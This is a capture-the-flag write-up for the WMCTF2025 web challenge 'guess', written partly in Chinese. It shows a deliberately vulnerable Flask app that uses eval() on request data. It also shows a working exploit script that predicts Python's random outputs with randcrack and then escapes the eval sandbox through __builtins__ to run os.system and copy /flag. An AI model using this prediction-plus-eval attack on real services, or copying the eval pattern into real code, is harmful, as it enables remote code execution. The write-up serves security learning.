WMCTF2025

web

guess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from flask import Flask, request, jsonify, session, render_template, redirect
import random

rd = random.Random()

def generate_random_string():
return str(rd.getrandbits(32))

app = Flask(__name__)
app.secret_key = generate_random_string()

users = []

a = generate_random_string()

@app.route('/register', methods=['POST', 'GET'])
def register():
if request.method == 'GET':
return render_template('register.html')

data = request.get_json()
username = data.get('username')
password = data.get('password')

if not username or not password:
return jsonify({'error': 'Username and password are required'}), 400

if any(user['username'] == username for user in users):
return jsonify({'error': 'Username already exists'}), 400

user_id = generate_random_string()

users.append({
'user_id': user_id,
'username': username,
'password': password
})

return jsonify({
'message': 'User registered successfully',
'user_id': user_id
}), 201



@app.route('/login', methods=['POST', 'GET'])
def login():

if request.method == 'GET':
return render_template('login.html')

data = request.get_json()
username = data.get('username')
password = data.get('password')

if not username or not password:
return jsonify({'error': 'Username and password are required'}), 400

user = next((user for user in users if user['username'] == username and user['password'] == password), None)

if not user:
return jsonify({'error': 'Invalid credentials'}), 401

session['user_id'] = user['user_id']
session['username'] = user['username']

return jsonify({
'message': 'Login successful',
'user_id': user['user_id']
}), 200

@app.post('/api')
def protected_api():

data = request.get_json()

key1 = data.get('key')

if not key1:
return jsonify({'error': 'key are required'}), 400

key2 = generate_random_string()

if not str(key1) == str(key2):
return jsonify({
'message': 'Not Allowed:' + str(key2) ,
}), 403


payload = data.get('payload')

if payload:
eval(payload, {'__builtin__':{}})

return jsonify({
'message': 'Access granted',
})


@app.route('/')
def index():
if 'user_id' not in session:
return redirect('/login')

return render_template('index.html')


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5001)

我们需要进行随机数预测,才能命令执行
找到相关文章[CTF/randcrack]python随机数预测模块分析及改进方案
写脚本获取随机数并进行预测即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from randcrack import RandCrack
import requests
import re
re1=re.compile(r'Not Allowed:(\d+)')
for i in range(624):
r = requests.post('http://127.0.0.1:11451/api', json={'key': i+1},headers={'Content-Type': 'application/json'})
with open(r"random.txt","a") as f:
f.write(re1.findall(r.text)[0])
if i != 623:
f.write("\n")
with open(r'random.txt', 'r') as f:
l = f.readlines()
rc = RandCrack()
for i in l:
rc.submit(int(i.strip()))
key2 = rc.predict_getrandbits(32)
print(key2)#利用randcrack获取的随机数

手动发包发现成功回显Access granted
然后就是命令执行,但是eval()函数中把__builtin__置空了,但是没禁__builtins__,直接命令执行即可
没有回显,进行写文件读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from randcrack import RandCrack
import requests
import re
re1=re.compile(r'Not Allowed:(\d+)')
for i in range(624):
r = requests.post('http://127.0.0.1:11451/api', json={'key': i+1},headers={'Content-Type': 'application/json'})
with open(r"random.txt","a") as f:
f.write(re1.findall(r.text)[0])
if i != 623:
f.write("\n")
with open(r'random.txt', 'r') as f:
l = f.readlines()
rc = RandCrack()
for i in l:
rc.submit(int(i.strip()))
key2 = rc.predict_getrandbits(32)
print(key2)#利用randcrack获取的随机数
rs=requests.post("http://127.0.0.1:11451/api",json={'key': key2,'payload':"""(__builtins__['__import__']('os').system('mkdir static;cat /flag > ./static/1.txt'))"""},headers={'Content-Type': 'application/json'})
print(rs.text)


成功读取flag